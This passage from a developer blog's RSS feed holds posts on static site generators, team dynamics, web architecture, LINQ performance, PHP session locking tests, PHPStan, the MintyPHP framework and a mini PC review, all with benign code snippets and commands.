<h3 id="popular-static-site-generators-ssgs">Popular static site generators (SSGs):</h3>
<ul>
<li><a href="https://gohugo.io/">Hugo</a>: A module-based static site generator with blazing
fast performance.</li>
<li><a href="https://jekyllrb.com/">Jekyll</a>: A blog-friendly static site generator that
you can use with Github Pages.</li>
<li><a href="https://www.gatsbyjs.com/">Gatsby</a>: A whole suite of website-creation
products along with static site generation</li>
<li><a href="https://www.11ty.dev/">Eleventy</a>: This generator is perfect if you’re a fan
of JavaScript and Node.js.</li>
</ul>
<h3 id="why-use-a-static-site-generator-ssg">Why use a static site generator (SSG)?</h3>
<ul>
<li>Security: SSGs create content in versioned static assets that can be hosted
without a database, reducing the attack vectors.</li>
<li>Performance: There is no database to connect to and a the static assets can be
served from a geographically local web server.</li>
<li>Scale: By using a content delivery network (CDN) you can distribute the
content world-wide allowing almost limitless scale.</li>
</ul>
<h3 id="what-we-often-dont-read">What we often don&rsquo;t read:</h3>
<ul>
<li>Design consistency: Clean separation between content and design.</li>
<li>Ease of use: It has less options as it won&rsquo;t let you modify the design.</li>
<li>Hosting costs: A CDN will ensure low costs (even when your site is popular).</li>
</ul>
<h3 id="when-not-to-use-a-sgg">When NOT to use a SGG:</h3>
<ul>
<li>Member area: Visitors of the site need to login and manage profiles.</li>
<li>Complex web shops: You want a web shop with logins and personalized discounts.</li>
<li>Design changes: Your content editors want to change colors, fonts and layouts.</li>
</ul>
<h3 id="why-choose-hugo">Why choose Hugo?</h3>
<ul>
<li>Popular: With 65k stars on Github it is the most popular SGG.</li>
<li>Fast: A site build takes seconds, making it one of the fastest SGGs.</li>
<li>Complete: Many features (such as image resizing) are included.</li>
</ul>
<h3 id="conclusion">Conclusion</h3>
<p>If your site is suitable to be a Hugo site you should definitely consider to use
Hugo. It is popular and for a good reason: it has technical excellence. Your
websites will be more secure and load faster. CDN deployments will make your
site scale and make it fast anywhere in the world. If you need a good CMS to go
with Hugo choose <a href="https://cloudcannon.com/">CloudCannon</a> or (our own)
<a href="https://cms.usecue.com/">UseCue CMS</a>.</p>
<p>Happy coding!</p>
]]></content:encoded>
    </item>
    <item>
      <title>The rock star programmer problem</title>
      <link>https://www.tqdev.com/2023-rock-star-programmer-problem/</link>
      <pubDate>Sun, 29 Jan 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-rock-star-programmer-problem/</guid>
      <description>&lt;p&gt;Do you have a colleague that you look up to? That knows everything about the
topic you would love to know more about? That always has an answer to any
question you ask? Still you are not learning from this person, because this
person is sitting on knowledge. Likes to do things alone. Never documents
properly and is too busy to explain things, but complains about lack of help. Do
you recognize this? It is the narcissistic programmer a.k.a. the rock-star
programmer.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Do you have a colleague that you look up to? That knows everything about the
topic you would love to know more about? That always has an answer to any
question you ask? Still you are not learning from this person, because this
person is sitting on knowledge. Likes to do things alone. Never documents
properly and is too busy to explain things, but complains about lack of help. Do
you recognize this? It is the narcissistic programmer a.k.a. the rock-star
programmer.</p>
<p>Most people say it is the person to go to for difficult problems. Unfortunately
not for the right reasons, but it is true. This is not a 10x programmer. This is
not a positive trait. This person is of not much use to a software team.
Actually this person may be bringing negative value and you might be better off
without. This person undermines team spirit and team responsibility. But it
takes courage to acknowledge this (and act on it).</p>
<p>Can this person change or improve? Yes, but it requires retrospection and
courage to acknowledge your own shortcomings. It requires a strong character and
not dwelling in a misplaced feeling of importance. Yes, the company should let
this person go. It will be a though decision, but it is the right thing. Even
for the person it will be better.</p>
<p>It must be done. Steer for change and positive team behavior. It won&rsquo;t be easy.
Managers tend to rely only on technical knowledge (no matter how it is achieved
or protected). We all need to ask for this to stop. We must put an end on the
abuse. The negativity that makes us feel worthless and misunderstood. Only a
collective action in acknowledging this misbehavior can have a positive outcome.</p>
<p>Bottom line is that programmer productivity can be measured by two things: A)
how effective somebody can implement code B) how effective somebody can
collaborate. Unless you are building, maintaining and supporting the software on
your own, you need to be adequate in both areas. If you are not than you are not
productive or even counter productive.</p>
<p>Don&rsquo;t feel insecure of a lack of knowledge that you can&rsquo;t acquire. Keep trying
as hard as you can, but at the same time work to weed out the people that feed
their self-esteem with knowledge that they don&rsquo;t share. The great people are the
ones that take pride in letting their colleagues grow.</p>
<p>Happy coding!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Scaling 3 tier web development: 2 rules</title>
      <link>https://www.tqdev.com/2023-3-tier-web-development-with-2-rules/</link>
      <pubDate>Sat, 31 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-3-tier-web-development-with-2-rules/</guid>
      <description>&lt;p&gt;Software development benefits from separating the presentation, business logic
and data access. The concepts of &amp;ldquo;tiers&amp;rdquo; and &amp;ldquo;layers&amp;rdquo; in web development aid
this separation. Within the application tier three layers can be identified.
This blog proposes two rules to get a well-structured, more secure and more
scalable application: (1) The data access layer and the presentation layer
should be executed sequentially. (2) &amp;ldquo;Safe&amp;rdquo; requests should only read from the
data access layer. This approach should be enforced by MVC web frameworks to
guide developers towards better applications.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Software development benefits from separating the presentation, business logic
and data access. The concepts of &ldquo;tiers&rdquo; and &ldquo;layers&rdquo; in web development aid
this separation. Within the application tier three layers can be identified.
This blog proposes two rules to get a well-structured, more secure and more
scalable application: (1) The data access layer and the presentation layer
should be executed sequentially. (2) &ldquo;Safe&rdquo; requests should only read from the
data access layer. This approach should be enforced by MVC web frameworks to
guide developers towards better applications.</p>
<h3 id="tiers-and-layers">Tiers and layers</h3>
<p>A &ldquo;tier&rdquo; <a href="https://www.ibm.com/topics/three-tier-architecture">refers</a> to &ldquo;a
functional division of the software that runs on infrastructure separate from
the other divisions&rdquo;. So, in a web application you have 3 tiers:</p>
<ul>
<li>Presentation tier (web browser, displaying HTML/CSS)</li>
<li>Application tier (web server, processing HTTP requests)</li>
<li>Data access tier (database server, executing SQL)</li>
</ul>
<p>Within a single &ldquo;tier&rdquo; people talk about &ldquo;layers&rdquo;, these are dealing with
communication with the other tiers. The web application that you are building
may have 3 corresponding layers:</p>
<ul>
<li>Presentation layer (in: data, out: markup)</li>
<li>Application layer (in: request, out: response)</li>
<li>Data access layer (in: query, out: data)</li>
</ul>
<p>Martin Fowler <a href="https://martinfowler.com/bliki/AnemicDomainModel.html">agrees</a>
that one should use &ldquo;layering to separate domain logic from such things as
persistence and presentation responsibilities&rdquo;.</p>
<h3 id="2-rules-for-the-request-life-cycle">2 rules for the request life cycle</h3>
<p>Since the application layer handles the HTTP request, it will in it&rsquo;s turn call
the data access layer and the presentation layer. It should do so in that order
and in two separate stages. The data access layer should be called in read-only
mode in cases where no state change is expected. After the application layer has
received the data from the data access layer, it can send the data to the
presentation layer for displaying. More specific:</p>
<ol>
<li>Web development frameworks should enforce the two stages within the
application layer by disallowing the data access layer to be accessed by the
presentation layer. This also means that every user interaction has only one
dynamic HTTP request as a result (and maybe a few static HTTP requests for
images and other resources).</li>
<li>Dynamic HTTP requests that use
<a href="https://developer.mozilla.org/en-US/docs/Glossary/Safe/HTTP">&ldquo;safe&rdquo; methods</a>
(GET for instance) should only read from the data access layer (including the
session). The <a href="https://httpwg.org/specs/rfc9110.html#safe.methods">RFC</a>
writes &ldquo;the client does not request, and does not expect, any state change on
the origin server&rdquo;.</li>
</ol>
<p>I believe these 2 rules make web development applications well-structured, more
secure and scale better.</p>
<h3 id="about-the-mvc-approach">About the MVC approach</h3>
<p>Within modern MVC web frameworks the presentation layer is often represented by
&ldquo;views&rdquo;, the application layer lives in the &ldquo;controllers&rdquo; (with or without a set
of &ldquo;services&rdquo; containing business logic), while the data access layer is often
some form of Object Relational Mapper (ORM) that produces objects from &ldquo;models&rdquo;
that map onto database tables (sometimes queries are grouped in &ldquo;repositories&rdquo;).</p>
<p>Martin Fowler <a href="https://martinfowler.com/bliki/AnemicDomainModel.html">says</a> that
this is not &ldquo;true&rdquo; OOP, but actually a &ldquo;procedural style design&rdquo;. I think he is
not wrong, but then again I&rsquo;m not a self-acclaimed &ldquo;object bigot&rdquo;, so I don&rsquo;t
see the harm in a (somewhat) procedural style.</p>
<p>Applying the above rules to the MVC terminology we get dumb data objects
retrieved from the ORM that are explicitly passed (or &ldquo;pushed&rdquo;) to the views,
while views cannot retrieve (or &ldquo;pull&rdquo;) new data objects. Also the controller&rsquo;s
actions should automatically be marked as read-only when they cannot write to
the database. The read-only concept should also apply to the session data. The
current MVC web development frameworks do not enforce the two rules stated
above, which I feel is a missed opportunity for best practice guidance. Please
let me know if you find a web development framework that does.</p>
<h3 id="better-scaling">Better scaling</h3>
<p>Data retrieval before presentation leads to shorter (and thus less concurrent)
connections to the data access tier. Read-only request may reduce writing to the
data access tier and these requests may not hit the data access tier at all.
They can often be served from various caches, depending on the consistency
guarantees that are requested (using request headers). Since the number of
concurrent write requests to the data access tier is the hardest thing to scale
in a (typical) web application these 2 rules are important. These 2 rules allow
you to scale to high user counts with only a single primary database server.</p>
<p>Enjoy programming!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.ibm.com/topics/three-tier-architecture">IBM - What is three-tier architecture?</a></li>
<li><a href="https://martinfowler.com/bliki/AnemicDomainModel.html">Martin Fowler - Anemic Domain Model (2003)</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Safe/HTTP">MDN Web Docs - Safe (HTTP Methods)</a></li>
<li><a href="https://httpwg.org/specs/rfc9110.html#safe.methods">RFC 9110 - HTTP Semantics - Safe Methods</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Calling &#34;ToList()&#34; for LINQ performance</title>
      <link>https://www.tqdev.com/2022-calling-tolist-on-linq-for-performance/</link>
      <pubDate>Sun, 18 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-calling-tolist-on-linq-for-performance/</guid>
      <description>&lt;p&gt;While I was doing &lt;a href=&#34;https://adventofcode.com/&#34;&gt;AdventOfCode 2022&lt;/a&gt; I ran into an
issue that made my code run more than 30 times slower than I expected. I didn&amp;rsquo;t
materialize the LINQ expression and I iterated over the sorted collection by
position. To anyone understanding how LINQ does lazy evaluation this is an
obvious error on my part, causing the sorting to be executed on every key access
on the LINQ expression.&lt;/p&gt;
&lt;h3 id=&#34;can-you-spot-the-bug&#34;&gt;Can you spot the bug?&lt;/h3&gt;
&lt;p&gt;For anyone less familiar with LINQ the bug is hard to spot (especially in
VB.net):&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>While I was doing <a href="https://adventofcode.com/">AdventOfCode 2022</a> I ran into an
issue that made my code run more than 30 times slower than I expected. I didn&rsquo;t
materialize the LINQ expression and I iterated over the sorted collection by
position. To anyone understanding how LINQ does lazy evaluation this is an
obvious error on my part, causing the sorting to be executed on every key access
on the LINQ expression.</p>
<h3 id="can-you-spot-the-bug">Can you spot the bug?</h3>
<p>For anyone less familiar with LINQ the bug is hard to spot (especially in
VB.net):</p>
<pre><code>Dim elements = New List(Of Integer)()
For i = 0 To 9999
    elements.Add(i)
Next
Dim sorted = elements.OrderBy(Function(x) -x)
Dim count as Long = 0
For i = 0 To 9999
    count += sorted(i)
Next
Console.WriteLine(count)
</code></pre>
<p>In C# this becomes already a bit more obvious (as it requires the &ldquo;ElementAt()&rdquo;
method):</p>
<pre><code>var elements = new List&lt;int&gt;();
for (var i = 0; i &lt; 10000; i++)
{
    elements.Add(i);
}
var sorted = elements.OrderBy(x =&gt; -x);
long count = 0;
for (var i = 0; i &lt; 10000; i++)
{
    count += sorted.ElementAt(i);
}
Console.WriteLine(count);
</code></pre>
<p>The line:</p>
<pre><code>var sorted = elements.OrderBy(x =&gt; -x);
</code></pre>
<p>should be:</p>
<pre><code>var sorted = elements.OrderBy(x =&gt; -x).ToList();
</code></pre>
<p>With this change the code runs roughly 30x times faster
(<a href="https://onecompiler.com/csharp/3ysaf2t37">try it</a>).</p>
<p>Enjoy programming!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://stackoverflow.com/questions/47932063/calling-tolist-on-linq-select">StackOverflow - Calling ToList() on Linq Select</a></li>
<li><a href="https://stackoverflow.com/questions/4044400/linq-performance-faq">StackOverflow - LINQ performance FAQ</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>A session locking test suite for PHP</title>
      <link>https://www.tqdev.com/2022-php-session-locking-test-suite/</link>
      <pubDate>Sun, 27 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-php-session-locking-test-suite/</guid>
      <description>&lt;p&gt;Session locking is well explained by Mattias Geniar in his article
&amp;ldquo;&lt;a href=&#34;https://ma.ttias.be/php-session-locking-prevent-sessions-blocking-in-requests/&#34;&gt;PHP Session Locking: How To Prevent Sessions Blocking in PHP requests&lt;/a&gt;&amp;rdquo;
(please read that first). Now that you&amp;rsquo;ve done that you know what session
locking is. My story is that I have once been bitten by this bug on a high
traffic website while following best practices of a popular framework (CakePHP).
I went on to do research and found that most major PHP frameworks (such as
Symfony) do NOT lock sessions (while PHP natively does do this).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Session locking is well explained by Mattias Geniar in his article
&ldquo;<a href="https://ma.ttias.be/php-session-locking-prevent-sessions-blocking-in-requests/">PHP Session Locking: How To Prevent Sessions Blocking in PHP requests</a>&rdquo;
(please read that first). Now that you&rsquo;ve done that you know what session
locking is. My story is that I have once been bitten by this bug on a high
traffic website while following best practices of a popular framework (CakePHP).
I went on to do research and found that most major PHP frameworks (such as
Symfony) do NOT lock sessions (while PHP natively does do this).</p>
<h3 id="tldr-what-is-the-danger">TLDR; What is the danger?</h3>
<p>Session locking prevents your application from overwriting and losing random
session modifications. Mattias Geniar writes in his article:</p>
<blockquote>
<p>&ldquo;What value is in the session? The value from script 1. The data stored by
script 2 is overwritten by the last save performed in script 1. This is a very
awkward and hard to troubleshoot concurrency bug. Session locking prevents
that.&rdquo;</p></blockquote>
<p>Anthony Ferrara (username &ldquo;ircmaxell&rdquo;) agrees on
<a href="https://stackoverflow.com/questions/3371474/php-sessions-is-there-any-way-to-disable-php-session-locking">Stackoverflow</a>
saying:</p>
<blockquote>
<p>&ldquo;You don&rsquo;t want to disable it&hellip; If you do, you&rsquo;ll potentially run into all
sorts of weird issues&rdquo;</p></blockquote>
<p>Note that top-level navigation is serialized by the browser, so the bug mainly
appears when PHP code that writes to the session is executed in AJAX calls. The
performance downsides of locking that people mention can be worked around by
implementing the &ldquo;SessionUpdateTimestampHandlerInterface&rdquo; and closing the
session with <code>session_write_close</code> immediately after starting it with
<code>session_start</code>. The major frameworks might consider doing this automatically on
GET (AJAX) requests (and have some override option). For some background on this
topic read my blog post titled
&ldquo;<a href="https://tqdev.com/2022-proposal-to-fix-a-2012-bug-in-symfony">Proposal to fix a 2012 bug in Symfony</a>&rdquo;.</p>
<h3 id="locking-redis-sessions">Locking Redis sessions</h3>
<p>If you want to use my implementation of the Redis session save handler you need
to put this before your call to &ldquo;<code>session_start()</code>&rdquo;:</p>
<pre><code>ini_set('session.save_path', 'tcp://localhost:6379');
ini_set('session.use_strict_mode', true);
session_set_save_handler(new RedisSessionHandler(), true);
</code></pre>
<p>The source code for the RedisSessionHandler class can be found on Github, see:
<a href="https://github.com/mintyphp/session-handlers/blob/main/src/RedisSessionHandler.php">https://github.com/mintyphp/session-handlers/blob/main/src/RedisSessionHandler.php</a></p>
<h3 id="about-the-test-suite">About the test suite</h3>
<p>Testing concurrency scenarios is not the easiest thing to program and that&rsquo;s why
I had so much fun doing just that. I wrote a test suite to ensure that I could
reproduce the data loss scenario that Mattias Geniar describes in his post. Here
is what the test suite does:</p>
<p>It executes a HTTP request that starts the session and sets a session variable
to 1. After that it does 9 concurrent (parallel) requests (using
<a href="https://www.php.net/manual/en/function.curl-multi-init.php">multi-curl</a>) to
increment that session variable. If locking works correctly the session variable
is set to 10 after the 10 requests. Without locking all 9 concurrent requests
read the value as 1 and write it as 2 (incremented). This results in a session
variable being set to 2 after all 10 requests.</p>
<p>Then I wrote an call intercepting logger allow me to record the session handler
calls of the known good (native) implementation that can be executed using:</p>
<pre><code>session_set_save_handler(new LoggingSessionHandler(new \SessionHandler()), true);
</code></pre>
<p>After that I found a
<a href="https://github.com/php/php-src/blob/master/ext/session/tests/user_session_module/save_handler.inc">reference on the implementation of a session save handler</a>
in the test suite of the PHP repository on Github. All pieces came together
nicely and allowed me to create some more locking PHP session save handlers that
can actually be tested for correctness.</p>
<p>Source code:
<a href="https://github.com/mintyphp/session-handlers">https://github.com/mintyphp/session-handlers</a></p>
<h3 id="applying-the-test-suite-to-symfony">Applying the test suite to Symfony</h3>
<p>The same testing mechanism can be applied to the existing Session handlers in
Symfony. So I created a similar test suite to show the (lack of) locking of the
Symfony session save handlers. Note that some of the existing handlers fail the
test (as expected).</p>
<p>Source code:
<a href="https://github.com/mevdschee/symfony-session-tests">https://github.com/mevdschee/symfony-session-tests</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="http://thwartedefforts.org/2006/11/11/race-conditions-with-ajax-and-php-sessions/">thwartedefforts.org - Race Conditions with Ajax and PHP Sessions</a></li>
<li><a href="https://ma.ttias.be/php-session-locking-prevent-sessions-blocking-in-requests/">PHP Session Locking: How To Prevent Sessions Blocking in PHP requests</a></li>
<li><a href="https://stackoverflow.com/questions/3371474/php-sessions-is-there-any-way-to-disable-php-session-locking">Stackoverflow - PHP &amp; Sessions: Is there any way to disable PHP session locking?</a></li>
<li><a href="https://tqdev.com/2022-proposal-to-fix-a-2012-bug-in-symfony">TQdev.com - Proposal to fix a 2012 bug in Symfony</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>PHPStan: Find bugs without writing tests</title>
      <link>https://www.tqdev.com/2022-phpstan-find-bugs-without-writing-tests/</link>
      <pubDate>Tue, 15 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-phpstan-find-bugs-without-writing-tests/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m not saying you shouldn&amp;rsquo;t write tests. But you may find bugs without writing
tests using PHPStan. At least, that is what they claim on
&lt;a href=&#34;https://phpstan.org/&#34;&gt;their website&lt;/a&gt;. I took a relatively big PHP project I run
commercially to see whether or not PHPStan would help me to find and fix bugs.
In this post I will explain how this works.&lt;/p&gt;
&lt;h3 id=&#34;adding-phpstan-config-file&#34;&gt;Adding PHPStan config file&lt;/h3&gt;
&lt;p&gt;You need to add a &amp;ldquo;&lt;code&gt;phpstan.neon&lt;/code&gt;&amp;rdquo; configuration file to the root of your
project. Mine looks like this:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m not saying you shouldn&rsquo;t write tests. But you may find bugs without writing
tests using PHPStan. At least, that is what they claim on
<a href="https://phpstan.org/">their website</a>. I took a relatively big PHP project I run
commercially to see whether or not PHPStan would help me to find and fix bugs.
In this post I will explain how this works.</p>
<h3 id="adding-phpstan-config-file">Adding PHPStan config file</h3>
<p>You need to add a &ldquo;<code>phpstan.neon</code>&rdquo; configuration file to the root of your
project. Mine looks like this:</p>
<pre><code>parameters:
    level: 5
    scanFiles:
        - web/index.php
    fileExtensions:
        - php
        - phtml
    paths:
        - lib
        - pages
</code></pre>
<p>This is specific for the framework I&rsquo;m using
(<a href="https://github.com/mintyphp/mintyphp">MintyPHP</a>). You may need a different
configuration or maybe no configuration at all (the defaults are quite good).</p>
<h3 id="installing-phpstan">Installing PHPStan</h3>
<p>PHPStan can be installed using composer. The command that you need is:</p>
<pre><code>composer --dev require phpstan/phpstan
</code></pre>
<p>Note that the &ldquo;&ndash;dev&rdquo; flag means that you don&rsquo;t need the dependency in a
production environment.</p>
<h3 id="a-phpstan-plugin-in-vscode">A PHPStan plugin in VSCode</h3>
<p>PHPStan can integrate with many IDEs. I use VSCode to write PHP code. In VSCode
I use the following extension for PHPStan:</p>
<pre><code>ext install swordev.phpstan
</code></pre>
<p>You can open the &ldquo;Command Palette&rdquo; to enter that command (Ctrl-Shift-P or F1 on
Linux).</p>
<h3 id="framework-support">Framework support</h3>
<p>It is important to note that PHPStan has official support for Symfony, Doctrine
and PHPUnit. There is also a long list of other frameworks that are supported
(including Laravel and CakePHP). All officially and unofficially supported
frameworks can be found in the
<a href="https://phpstan.org/user-guide/extension-library">PHPStan user guide</a>.</p>
<h3 id="mintyphp-support">MintyPHP support</h3>
<p>I wrote a small script that adds a &ldquo;docBlock&rdquo; to every action and view file
defining the variables that may be used in that file. The script can be run
using the following command:</p>
<pre><code>php vendor/mintyphp/tools/prepare_phpstan.php
</code></pre>
<p>The script adds a docBlock to the action file named
&ldquo;<code>login($alias,$returnUrl).php</code>&rdquo; with the following path variable definitions:</p>
<pre><code>/**
 * @var string|null $alias
 * @var string|null $returnUrl
 */
</code></pre>
<p>The view file named &ldquo;<code>login(login).phtml</code>&rdquo; will also get a docBlock with the
available variables it can use (based on the scanning of both the action and the
template action).</p>
<h3 id="overall-opinion">Overall opinion</h3>
<p>PHPStan is quite easy to setup and to add to a project. By setting the reporting
level at an appropriate value (5 for me) I didn&rsquo;t have to add many docBlocks. It
helped me find a handful of bugs that I otherwise would have overlooked. That
alone is worth the invested time. I was already using &ldquo;Intelephense&rdquo; showing
syntax errors when files were open, but the fact that I can scan the project for
errors provides a lot of value. Since PHPStan can find more than simple syntax
errors (also: undefined variables, missing parameters, etc&hellip;) it is a sure way
to improve the quality of your release&hellip; without writing (more) tests.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://phpstan.org/user-guide/getting-started">PHPStan User Guide - Getting Started</a></li>
<li><a href="https://phpstan.org/user-guide/extension-library">PHPStan User Guide - Extension Library</a></li>
<li><a href="https://github.com/swordev/phpstan-vscode">Github - PHPStan extension for VSCode</a></li>
<li><a href="https://github.com/bmewburn/vscode-intelephense">Github - PHP code intelligence for Visual Studio Code</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>MintyPHP v3 is released</title>
      <link>https://www.tqdev.com/2022-mintyphp-v3-is-released/</link>
      <pubDate>Sun, 30 Oct 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-mintyphp-v3-is-released/</guid>
      <description>&lt;p&gt;I use MintyPHP to quickly build web applications on the LAMP stack and I just
released version 3 this month. Since v3 it relies solely on the composer
generated autoloader, making the software faster and making it integrate even
better with your IDE. Now the IDE can detect missing dependencies and can
autocomplete the PHPunit tests. Also, since version 3 the config format has
changed, allowing easier use of environment variables (via &lt;code&gt;getenv&lt;/code&gt;) in the
config files.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I use MintyPHP to quickly build web applications on the LAMP stack and I just
released version 3 this month. Since v3 it relies solely on the composer
generated autoloader, making the software faster and making it integrate even
better with your IDE. Now the IDE can detect missing dependencies and can
autocomplete the PHPunit tests. Also, since version 3 the config format has
changed, allowing easier use of environment variables (via <code>getenv</code>) in the
config files.</p>
<h3 id="battle-tested">Battle tested</h3>
<p>I have created MintyPHP in 2013 and it is on packagist since 2018. I use it
daily to build and maintain web applications on the LAMP stack and currently I
run a handful of commercial web applications on the framework. There are a few
web shops, a Hugo CMS, this blog and some administrative applications. I tend to
make as little changes as possible to the framework (to reduce maintenance
costs). After using MintyPHP in production for 9 years this web framework has
matured to version 3.</p>
<h3 id="recommended-ide">Recommended IDE</h3>
<p>I use Visual Studio Code with the &ldquo;PHP Intelephense&rdquo; plugin. I hardly use other
plugins. I&rsquo;m confident that the development experience in PhpStorm or other IDEs
will be great too. Settings I use (in settings.json) are:</p>
<pre><code>{
  &quot;editor.formatOnSave&quot;: true,
  &quot;intelephense.telemetry.enabled&quot;: false
}
</code></pre>
<p>I love the auto-completion, it makes me a lot faster and also the red underlines
when a dependency is missing is great.</p>
<h3 id="migration">Migration</h3>
<p>I have migrated all relevant projects now to v3 and it was some work. This was
mainly due to the stricter autoloader and all I had to do is add the &ldquo;use&rdquo;
statements. For example, most .phtml files (views) need &ldquo;use MintyPHP\Session&rdquo;,
while most .php files (actions) also need &ldquo;use MintyPHP\DB&rdquo; to access the
database. This work will pay off with some faster development times and less
errors due to better understanding of the code by the IDE (highlighting
problems).</p>
<h3 id="philosophy">Philosophy</h3>
<p>Note that MintyPHP is not your usual OOP framework and not for everyone. It&rsquo;s
goals are: (1) Easy to learn (and debug) (2) Secure by design and (3)
Light-weight. All functionality is implemented in static functions and classes
are used as function libraries. The router is path and filename based. This
means that by creating files and directories you create routes. Views are
identified by the &ldquo;.phtml&rdquo; extension, containing PHP as templating language.
Controller actions have the &ldquo;.php&rdquo; extension and are not allowed to send output.
There is no ORM and no DBAL, so you will have to write (MariaDB) SQL queries.</p>
<h3 id="try-it">Try it?</h3>
<p>If you are interested, you may look up the site at
<a href="https://mintyphp.github.io/">mintyphp.github.io</a> and download the latest
release. You may also follow/star the project on
<a href="https://github.com/mintyphp/mintyphp">Github</a>. Any feedback on Github issues is
appreciated.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://mintyphp.github.io/">Download MintyPHP</a></li>
<li><a href="https://github.com/mintyphp/mintyphp">MintyPHP on Github</a></li>
<li><a href="https://tqdev.com/2018-mindaphp-now-on-packagist">Blog: MintyPHP now on packagist!</a></li>
<li><a href="https://tqdev.com/2018-web-development-made-simple">Blog: Reduce the mental load for developers</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Beelink &#34;MINI S&#34; N5095 under 200</title>
      <link>https://www.tqdev.com/2022-beelink-mini-s-n5095-pc-under-200/</link>
      <pubDate>Thu, 13 Oct 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-beelink-mini-s-n5095-pc-under-200/</guid>
      <description>&lt;p&gt;I want my computers to be small, silent and repairable and use as little energy
as needed, especially when idle. I recently bought a Beelink &amp;ldquo;MINI S&amp;rdquo;
N5095/16GB/256GB computer with slots for both the DDR4 RAM and the M2 SATA
drive. It has an external power supply and medium sized fan on a proper
heat-sink. It can easily be used as a desktop replacement as it has a power
efficient CPU, plenty of RAM and a fast SSD. The slot supports up to 16GB RAM
and a 2TB M2 SATA SSD. Prices vary wildly (on AliExpress and Amazon) and if you
search well you may find the 16GB/512GB model for less than 200 euro.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I want my computers to be small, silent and repairable and use as little energy
as needed, especially when idle. I recently bought a Beelink &ldquo;MINI S&rdquo;
N5095/16GB/256GB computer with slots for both the DDR4 RAM and the M2 SATA
drive. It has an external power supply and medium sized fan on a proper
heat-sink. It can easily be used as a desktop replacement as it has a power
efficient CPU, plenty of RAM and a fast SSD. The slot supports up to 16GB RAM
and a 2TB M2 SATA SSD. Prices vary wildly (on AliExpress and Amazon) and if you
search well you may find the 16GB/512GB model for less than 200 euro.</p>
<p>
  
    <img src="/uploads/2022/beelink-mini-s_hu_191dd2df5c3d0b6e.webp" alt="Beelink MINI S N5095"  />
  
</p>
<h3 id="build-quality-and-compatibility">Build quality and compatibility</h3>
<p>I buy a lot of Beelink products and they all have a good build quality.
Nevertheless this one stands out: It has well performing and quiet cooling, a
slot for the RAM and a slot for the M2 (SATA only) SSD, an unlocked BIOS and the
casing is great and so is the packaging. It is delivered with Windows 11, but it
runs Linux without modifications. All I had to do is remove all partitions from
the SSD using Gparted, then reboot with a USB stick (press ESC to enter the BIOS
and select the USB stick under &ldquo;Boot override&rdquo; in the &ldquo;Boot&rdquo; section). In Linux
everything (WiFi, Bluetooth, audio) was working without adjustments to the
default install. I am running Linux Mint 21 (XFCE Edition) and it runs super
smooth.</p>
<h3 id="power-usage-and-use-cases">Power usage and use cases</h3>
<p>This little pc draws between 8 (idle) and 27 watt (full load) and this low power
usage makes the box ideal for an always-on Linux server. Since it is very quiet
it can also be used in the living room hooked up to the TV (as HTPC or for
console emulation using Dolphin). You may also use it as a simple desktop
(browsing with Firefox + light office tasks in LibreOffice) or thin client (RDP
over SSH using Remmina). It really is a great piece of hardware that ticks all
the boxes for me.</p>
<h3 id="links">Links</h3>
<p>If you want to see more in depth reviews with pictures and video&rsquo;s, check these
out:</p>
<ul>
<li><a href="https://www.cnx-software.com/2022/06/30/beelink-mini-s-review-low-cost-mini-pc-ubuntu-22-04-windows-11/">CNX-Software | Beelink MINI S: A Low-cost mini PC tested with Ubuntu 22.04</a></li>
<li><a href="https://minixpc.com/blogs/review/beelink-mini-s-mini-pc-review">MinixPC | Beelink Mini S Mini PC Review</a></li>
<li><a href="https://www.notebookcheck.net/Beelink-U59-Mini-S-mini-PC-review-The-super-inexpensive-Intel-NUC-HTPC-alternative.629118.0.html">Notebookcheck | Beelink U59 Mini-S mini PC review</a></li>
<li><a href="https://www.youtube.com/watch?v=LKd7wJ0w7R8">ETA Prime | The Mini S Is An Affordable Yet Versatile Tiny Windows 11 PC</a></li>
<li><a href="https://www.youtube.com/watch?v=oOgevVpeceo">TechTablets | Beelink Mini S Review Tiny Affordable Windows 11 Pro Mini PC</a></li>
</ul>
<p>Have fun!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Overengineering makes investors happy</title>
      <link>https://www.tqdev.com/2022-overengineering-investor-happy/</link>
      <pubDate>Sun, 18 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-overengineering-investor-happy/</guid>
      <description>&lt;p&gt;Investors want tech startups to use a &amp;ldquo;latest technology&amp;rdquo; to gain an &amp;ldquo;unfair
advantage&amp;rdquo; allowing them to compete in an established market. This &amp;ldquo;unfair
advantage&amp;rdquo; may be a reason that the investment is going to pay off. therefore
startups may say that they are using (for instance) blockchain, AI and
distributed systems and that it brings them a lot. The real reason startups can
compete with established players is that they are small and efficient with a
clear focus on what to build and no customers that slow them down. These things
are also called &amp;ldquo;second-mover&amp;rdquo; advantages. But in my experience few startups
dare to say they are using second mover advantages and are planning to win with
